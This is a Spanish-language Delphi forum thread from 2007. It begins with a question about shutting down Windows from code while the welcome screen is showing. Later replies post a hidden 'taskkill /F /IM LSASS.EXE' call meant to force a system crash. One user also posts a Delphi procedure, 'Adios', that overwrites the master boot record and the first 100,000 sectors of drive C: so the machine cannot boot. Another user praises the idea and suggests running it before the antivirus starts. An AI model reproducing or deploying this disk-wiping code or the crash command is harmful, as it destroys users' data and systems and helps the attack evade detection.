Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Principal > OOP
Registrarse FAQ Miembros Calendario Guía de estilo Temas de Hoy

Grupo de Teaming del ClubDelphi

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 28-04-2007
Wellnic Wellnic is offline
Miembro
 
Registrado: mar 2007
Posts: 68
Poder: 18
Wellnic Va por buen camino
Apagar desde la "pantalla de bienvenida"

Hola
El otro día hice el típico programa de novato para probar los distintos modos de apagar el ordenador:
Código Delphi [-]
procedure TForm1.FormCreate(Sender: TObject);
Var TokenPriv: TTokenPrivileges;
H: DWord;
HToken: THandle;
Begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
OpenProcessToken(GetCurrentProcess,
TOKEN_ADJUST_PRIVILEGES,HToken);
LookUpPrivilegeValue(NIL, 'SeShutdownPrivilege',
TokenPriv.Privileges[0].Luid);
TokenPriv.PrivilegeCount := 1;
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
H := 0;
AdjustTokenPrivileges(HToken, FALSE,
TokenPriv, 0, PTokenPrivileges(NIL)^, H);
CloseHandle(HToken);
End;
end;
...
//Mi código:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Gauge1.AddProgress(1); if Gauge1.Progress < Gauge1.MaxValue Then exit;
Case RadioGroup1.ItemIndex Of
0: ExitWindowsEx(EWX_LOGOFF Or EWX_FORCE, 0);
1: ExitWindowsEx(EWX_SHUTDOWN Or EWX_FORCE, 0);
2: ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);
3: ExitWindowsEx(EWX_POWEROFF Or EWX_FORCE, 0);
4: SetSystemPowerState(False, True);
end;
Application.Terminate;
end;
Funciona como esperaba, excepto cuando pongo la "pantalla de bienvenida" de Windows, pulsando, por ejemplo, Win+L (observad que he puesto una cuenta atrás, de 5 segundos, para que me dé tiempo), en este caso no se apaga el PC, ni aunque se ejecute ExitWindowsEx(EWX_POWEROFF, FORCE), se limita a cerrar la cuenta. ¿Se puede solucionar esto, es decir, poder apagar, mediante código, aunque esté puesta la "pantalla de bienvenida"?
(Como cosa curiosa, hibernar sí se puede).

Última edición por Wellnic fecha: 30-04-2007 a las 20:29:17.
Responder Con Cita
  #2  
Antiguo 29-04-2007
Avatar de cHackAll
[cHackAll] cHackAll is offline
Baneado?
 
Registrado: oct 2006
Posts: 2.159
Poder: 20
cHackAll Va por buen camino
Cool Respuesta

Talvez no sea la respuesta que esperas... no se me ocurrió hacer tal asunto (Win+L) + Cuenta regresiva de apagado. Pero tengo una solucion que te va a funcionar.

Utiliza programa shutdown.exe que viene junto con tu S.O. correlo sin parámetros para ver con cuales cuenta y una descripcion de ellos.

Para correrlo usa WinExec o CreateProcess con los parametros que veas necesarios.

Suerte.
Responder Con Cita
  #3  
Antiguo 30-04-2007
aprendiz2 aprendiz2 is offline
Miembro
 
Registrado: dic 2006
Posts: 70
Poder: 18
aprendiz2 Va por buen camino
otra forma muy bonita !

Hola ! Probablemente usted ya conozca esta forma, pero la pongo aqui, porque quizas a otros les pueda servir. ( hace poco que yo la descubri, y me gusto mucho ! ).

la idea es "terminar ( forzado )" alguna tarea que sea fundamental para win...

Por ejemplo, si uno va al task-manager ( ctrl - alt - del ) y termina el proceso LSASS.EXE, win... decide apagar la PC de una forma muy bonita. Hasta le pone un timer regresivo y toda la cosa !!.


Hay un comando en DOS que permite hacer eso: TASKKILL.EXE

Tiene muchas formas diferentes para decirle cual(es) tareas terminar.

Para ejecutarlo desde Delphi, hay que usar el WinExec, de esta forma:

winExec( 'TASKKILL.EXE /F /IM LSASS.EXE', SW_HIDE );

( pon esto adentro de un boton, guarda todos tus trabajos, y despues lo pruebas..., veras que bonito se apaga la PC !!. ).

Puedes experimentar con terminar el EXPLORER.EXE y otras tareas que aparecen en el Task-manager, .... realmente interesante !!

( ... y si a alguien le interesa hacer que la PC no pueda encender otra vez despues de apagarla.. y que se pierda todo lo que hay en ella..., inclusive el win..., que me escriba un correo ! -jaja quizas a algun politico le interese algun programa asi, para una emergencia ! )

Saludos, ojala y esto le sirva a alguien
Responder Con Cita
  #4  
Antiguo 03-05-2007
Avatar de cHackAll
[cHackAll] cHackAll is offline
Baneado?
 
Registrado: oct 2006
Posts: 2.159
Poder: 20
cHackAll Va por buen camino
Cool Ok

Estimado aprendiz2, dos cosas:

1. el "shutdown -f - ..." te pone justamente ese mensajito que tanto os gusta.
2. El lsass.exe es un nombre de proceso crítico, el cual no puede ser finalizado con los utilitarios que el Güindos nos da (Ej. TaskKill). Finalizandolo por código... eso si.

Cita:
Empezado por aprendiz2
...y si a alguien le interesa hacer que la PC no pueda encender otra vez despues de apagarla..
Explicame un poco más, que la idea no me queda muy clara... hablas de que no arranque el S.O. o que no arranque el MBR, o que le falte alguna DLL al Güindos y se tire... dime.

Saludos
Responder Con Cita
  #5  
Antiguo 03-05-2007
aprendiz2 aprendiz2 is offline
Miembro
 
Registrado: dic 2006
Posts: 70
Poder: 18
aprendiz2 Va por buen camino
taskkill + lo otro

Cita:
2. El lsass.exe es un nombre de proceso crítico, el cual no puede ser finalizado con los utilitarios que el Güindos nos da (Ej. TaskKill). Finalizandolo por código... eso si.


Hola cHackAll, gracias por escribir !!.

En mi PC y otras que he probado, el taskkill.exe de DOS, sí termina la tarea lsass.exe.

( la mayoria del las otras tareas no las termina, o vuelven a arrancar automaticamente ).

Es mas, desde el task manager de Windows puedo terminar esa tarea en mi PC. En otras PC que he probado (con XP), tambien !.

Quizas en tu PC se porta diferente. Me da curiosidad.. dejame saber !!!

Puedes probarlo desde DOS facilmente...( estoy seguro que sabes mas de este tema que yo !! ).

c:\> taskkill /F /IM LSASS.EXE


( hace poco hubo un virus rodando que hacia eso exactamente! Terminaba el lsass.exe. Por eso me dio curiosidad probar... Quizas sea util en alguna ocasion !!! -no para virus, por supuesto- ).

En cuanto al otro tema.... simplemente escribir "basura" en sectores importantes del disco duro.

Para mi sorpresa, Win2 no protesta !!!

( en un principio, estaba yo en el tema de leer un CD por sectores, y leer/escribir a un CD-RW por sectores..., con proposito de un hacer un disco "llave", di muchas vueltas con las benditas API createFile, readFile... setFilePointer...,y despues de lograrlo, me doy cuenta que puedo hacer lo mismo con los antiguos "read" y "write" de Pascal, mucho mas sencillo. Despues me dio curiosidad... y probe leer un sector del disco duro, y lo leyo... y despues me pregunte.. y se podra escribir ?... la respuesta fue, si!Win2 no los protege.

Código Delphi [-]
procedure Adios;
  type 
       TSector : array[1..512] of byte;
       
  var 
       F        : File of TSector;
       Sector : TSector ;
       i         : integer;
begin
      fillchar( Sector, sizeOf( TSector ), 0 );
 
     { abrir toda la unidad C: como si fuera un archivo         }
     { se puede abrir un CD de esta misma forma,para leerlo }
     { solo que hay que poner                                         }
     { FileMode := 0;   solo lectura, antes del reset             }
 
      assignFile( F, '\\.\C:' );   { funciona en NT / XP }
      reset( F );
 
      { quizas hay algo importante en los primeros 100 mil sectores... }
      { esto solo toma un segundo... }
 
      { comenzar con el sector #1        }

      seek( F, 1 ); 

      for i:= 1 to 100000 do
         write( F, Sector );
 
      { intentar el Sector 0 al final, quizas el anti-bichos proteste }
      { o quizas el BIOS tiene activada la proteccion, y avise       }
 
      seek( F, 0 );  
      write( F,Sector );
      CloseFile( F );        { para que ?? ... no tiene sentido !! jaja !! }
 
      { Cuando apagues la PC, y trates de encenderla... sorpresa !! }
end;

( disculpe si hay algun error de compilacion, el programa que teclee arriba no paso por el compilador, pero la idea esta ahi ).

Espero le sirva para algo !

Última edición por aprendiz2 fecha: 03-05-2007 a las 02:40:08.
Responder Con Cita
  #6  
Antiguo 03-05-2007
aprendiz2 aprendiz2 is offline
Miembro
 
Registrado: dic 2006
Posts: 70
Poder: 18
aprendiz2 Va por buen camino
desde el task-manager no se puede

Cita:
Empezado por aprendiz2
Es mas, desde el task manager de Windows puedo terminar esa tarea en mi PC. En otras PC que he probado (con XP), tambien !.
Tienes razon cHackAll, desde el task-manager de Windows da problemas detener el LSASS.EXE ( no lo permite ).

Pero desde DOS, en todas las que he probado si se puede con el taskkill.exe ( las PC tienen Win XP original, S.Pack 2 ). Con el WinExec desde Dephi tambien lo hace.

Saludos, buenas noches !!
Responder Con Cita
  #7  
Antiguo 06-05-2007
Avatar de cHackAll
[cHackAll] cHackAll is offline
Baneado?
 
Registrado: oct 2006
Posts: 2.159
Poder: 20
cHackAll Va por buen camino
Cool Local Security Authority System Service

Cita:
Empezado por aprendiz2
c:\> taskkill /F /IM LSASS.EXE
ERROR: no se pudo terminar el proceso "lsass.exe" con PID 736.
Motivo: Acceso denegado.


En definitiva no se como te funciona a tí, me llama la atención porque puede depender ésto del estado de las directivas de seguridad de los equipos donde haces la prueba. Sin ir más allá lo que decías de tu procedimiento "adios":

En definitiva me gusta por lo que hace más que cómo lo hace. Cuida tus inclinaciones del lado obscuro amigo mio, pues en algun momento (si es que no lo hizo ya), te acabará gustando!

PD: Yo cási aseguro que la mayoría de los antivirus protegen el MBR, Boot, etc. d los sistemas de archivos de los equipos que resguardan. Te aconsejo (repito: si te gusta), que utilices la misma idea pero en el momento propicio, cuando el Antivirus (cualfuese), todavía no esté funcionando...

Suerte!
Responder Con Cita
Respuesta



Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro

Temas Similares
Tema Autor Foro Respuestas Último mensaje
Necesito llamar a métodos de clases "hija" desde su clase "padre" Flecha OOP 17 20-04-2007 00:03:53
Ventana MDI, "Siempre visible" y "Pantalla completa" ixMike API de Windows 7 11-04-2007 18:36:55
"Apagar" el cursor en un TEdit gluglu Varios 1 17-11-2005 19:34:20
Mi mensaje nº 300 "Me pagan por Mirar una pantalla" tcp_ip_es Humor 1 16-07-2004 16:54:30


La franja horaria es GMT +2. Ahora son las 19:17:36.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi